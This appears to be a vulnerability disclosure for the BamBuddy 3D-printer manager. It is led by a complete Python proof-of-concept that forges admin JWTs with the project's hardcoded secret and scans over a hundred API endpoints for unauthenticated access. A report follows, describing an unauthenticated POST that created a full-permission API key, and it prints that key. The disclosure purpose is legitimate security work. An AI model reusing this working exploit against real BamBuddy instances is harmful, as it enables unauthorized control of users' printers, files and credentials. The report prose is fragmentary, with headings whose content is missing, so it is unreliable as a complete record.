#!/usr/bin/env python3
"""
Proof of Concept: JWT Forgery via Hardcoded Secret Key (VULN-001)
For security research purposes only.
Tests all GET endpoints to identify which are accessible without authentication.
"""
import requests
import jwt
# Hardcoded secret from backend/app/core/auth.py:28
HARDCODED_SECRET = "bambuddy-secret-key-change-in-production"
TARGET = "http://10.0.0.4:8000"
API_PREFIX = "/api/v1"
# All GET endpoints organized by router
ENDPOINTS = {
"system": [
"/system/info",
],
"auth": [
"/auth/status",
"/auth/me",
],
"users": [
"/users",
"/users/1",
"/users/1/items-count",
],
"groups": [
"/groups",
"/groups/permissions",
"/groups/1",
],
"settings": [
"/settings",
"/settings/check-ffmpeg",
"/settings/spoolman",
"/settings/backup",
"/settings/virtual-printer/models",
"/settings/virtual-printer",
"/settings/mqtt/status",
],
"printers": [
"/printers/",
"/printers/usb-cameras",
"/printers/1",
"/printers/1/status",
"/printers/1/current-print-user",
"/printers/1/cover",
"/printers/1/files",
"/printers/1/storage",
"/printers/1/logging",
"/printers/1/slot-presets",
"/printers/1/slot-presets/1/1",
"/printers/1/print/objects",
"/printers/1/runtime-debug",
"/printers/1/camera/status",
"/printers/1/camera/test",
"/printers/1/camera/plate-detection/status",
"/printers/1/camera/plate-detection/references",
"/printers/1/kprofiles/",
"/printers/1/kprofiles/notes",
],
"archives": [
"/archives/",
"/archives/search",
"/archives/compare",
"/archives/analysis/failures",
"/archives/stats",
"/archives/tags",
"/archives/1",
"/archives/1/similar",
"/archives/1/duplicates",
"/archives/1/capabilities",
"/archives/1/gcode",
"/archives/1/plates",
"/archives/1/filament-requirements",
"/archives/1/project-page",
"/archives/1/source",
],
"filaments": [
"/filaments/",
"/filaments/1",
"/filaments/by-type/pla",
],
"cloud": [
"/cloud/status",
"/cloud/settings",
"/cloud/settings/1",
"/cloud/devices",
"/cloud/firmware-updates",
"/cloud/fields",
"/cloud/fields/print",
],
"queue": [
"/queue/",
"/queue/1",
],
"notifications": [
"/notifications/",
"/notifications/logs",
"/notifications/logs/stats",
"/notifications/1",
],
"notification_templates": [
"/notification-templates",
"/notification-templates/variables",
"/notification-templates/1",
],
"updates": [
"/updates/version",
"/updates/check",
"/updates/status",
],
"maintenance": [
"/maintenance/types",
"/maintenance/overview",
"/maintenance/summary",
"/maintenance/printers/1",
"/maintenance/items/1/history",
],
"external_links": [
"/external-links/",
"/external-links/1",
],
"projects": [
"/projects",
"/projects/templates",
"/projects/1",
"/projects/1/archives",
"/projects/1/queue",
"/projects/1/bom",
"/projects/1/timeline",
],
"library": [
"/library/folders",
"/library/folders/by-archive/1",
"/library/folders/by-project/1",
"/library/files",
"/library/stats",
"/library/folders/1",
"/library/files/1",
"/library/files/1/plates",
"/library/files/1/gcode",
"/library/files/1/filament-requirements",
],
"api_keys": [
"/api-keys/",
"/api-keys/1",
],
"webhook": [
"/webhook/printer/1/status",
"/webhook/queue",
],
"ams_history": [
"/ams-history/1/1",
],
"support": [
"/support/debug-logging",
"/support/logs",
],
"discovery": [
"/discovery/info",
"/discovery/status",
"/discovery/printers",
"/discovery/scan/status",
],
"pending_uploads": [
"/pending-uploads/",
"/pending-uploads/count",
"/pending-uploads/1",
],
"firmware": [
"/firmware/updates",
"/firmware/updates/1",
"/firmware/latest",
],
"github_backup": [
"/github-backup/config",
"/github-backup/status",
"/github-backup/logs",
],
"metrics": [
"/metrics",
],
}
def forge_token():
"""Forge a valid JWT token using the hardcoded secret."""
payload = {"sub": "admin", "exp": 9999999999}
return jwt.encode(payload, HARDCODED_SECRET, algorithm="HS256")
def test_endpoint(endpoint, headers):
"""Test a single endpoint and return status."""
try:
resp = requests.get(f"{TARGET}{API_PREFIX}{endpoint}", headers=headers, timeout=5)
return resp.status_code, resp.text[:100] if resp.status_code == 200 else None
except requests.RequestException as e:
return "ERROR", str(e)[:50]
def main():
token = forge_token()
print(f"[*] Forged JWT token:\n {token}\n")
# Test with no auth, then with forged JWT
test_modes = [
("NO AUTH", {}),
("FORGED JWT", {"Authorization": f"Bearer {token}"}),
]
results = {"no_auth": [], "jwt_only": [], "both_fail": []}
print(f"[*] Testing {sum(len(v) for v in ENDPOINTS.values())} endpoints against {TARGET}\n")
print("=" * 70)
for category, endpoints in ENDPOINTS.items():
print(f"\n[{category.upper()}]")
for endpoint in endpoints:
no_auth_status, _ = test_endpoint(endpoint, {})
jwt_status, preview = test_endpoint(endpoint, {"Authorization": f"Bearer {token}"})
if no_auth_status == 200:
results["no_auth"].append(endpoint)
print(f" {endpoint}: NO AUTH REQUIRED")
elif jwt_status == 200:
results["jwt_only"].append(endpoint)
print(f" {endpoint}: JWT WORKS")
else:
results["both_fail"].append((endpoint, no_auth_status, jwt_status))
print(f" {endpoint}: {no_auth_status} / {jwt_status}")
# Summary
print("\n" + "=" * 70)
print("\n[SUMMARY]\n")
print(f"Endpoints accessible WITHOUT authentication ({len(results['no_auth'])}):")
for ep in results["no_auth"]:
print(f" - {ep}")
print(f"\nEndpoints accessible with FORGED JWT only ({len(results['jwt_only'])}):")
for ep in results["jwt_only"]:
print(f" - {ep}")
print(f"\nEndpoints that rejected both ({len(results['both_fail'])}):")
for ep, no_auth, jwt_auth in results["both_fail"]:
print(f" - {ep} (no_auth: {no_auth}, jwt: {jwt_auth})")
if __name__ == "__main__":
main()
Summary
Details
I am using the publicly available docker image at
ghcr.io/maziggy/bambuddy1. Hardcoded JWT Secret Key
https://github.com/maziggy/bambuddy/blob/a9bb8ed8239602bf08a9914f85a09eeb2bf13d15/backend/app/core/auth.py#L28
Copying the Authorization token from a request via browser networking tools into JWT.io confirms the token is signed with this key
Any attacker can:
Steps to Reproduce:
2. Most API Routes do not check Auth
While investigating the JWT forgery, I noticed that requests without
Authorizationheaders still returned information for many endpoints:Full Script and Output
Note: I do not have smart plugs or spoolman set up to verify actual behavior with those endpoints so they are excluded from this script.
Script to test GET endpoints with forged JWT and without any auth
Script output
While this script only tests the GET endpoints, these vulnerabilities are not exclusive to GET endpoints. The GET endpoints were easiest to script since they generally don't require many parameters, but other methods still appear vulnerable. I manually tested
POST /api/v1/api-keys/and was able to create a new API key with all permissions without auth:yields
{"id":7,"name":"new key","key_prefix":"bb_QW2su...","can_queue":true,"can_control_printer":true,"can_read_status":true,"printer_ids":null,"enabled":true,"last_used":null,"created_at":"2026-02-01T23:14:15","expires_at":null,"key":"bb_QW2suZVIHiUbadSyyAMrnmf0zFhDG5e9BSVBvb4ZN-w"}Impact
BamBuddy is vulnerable to unauthorized access and control
References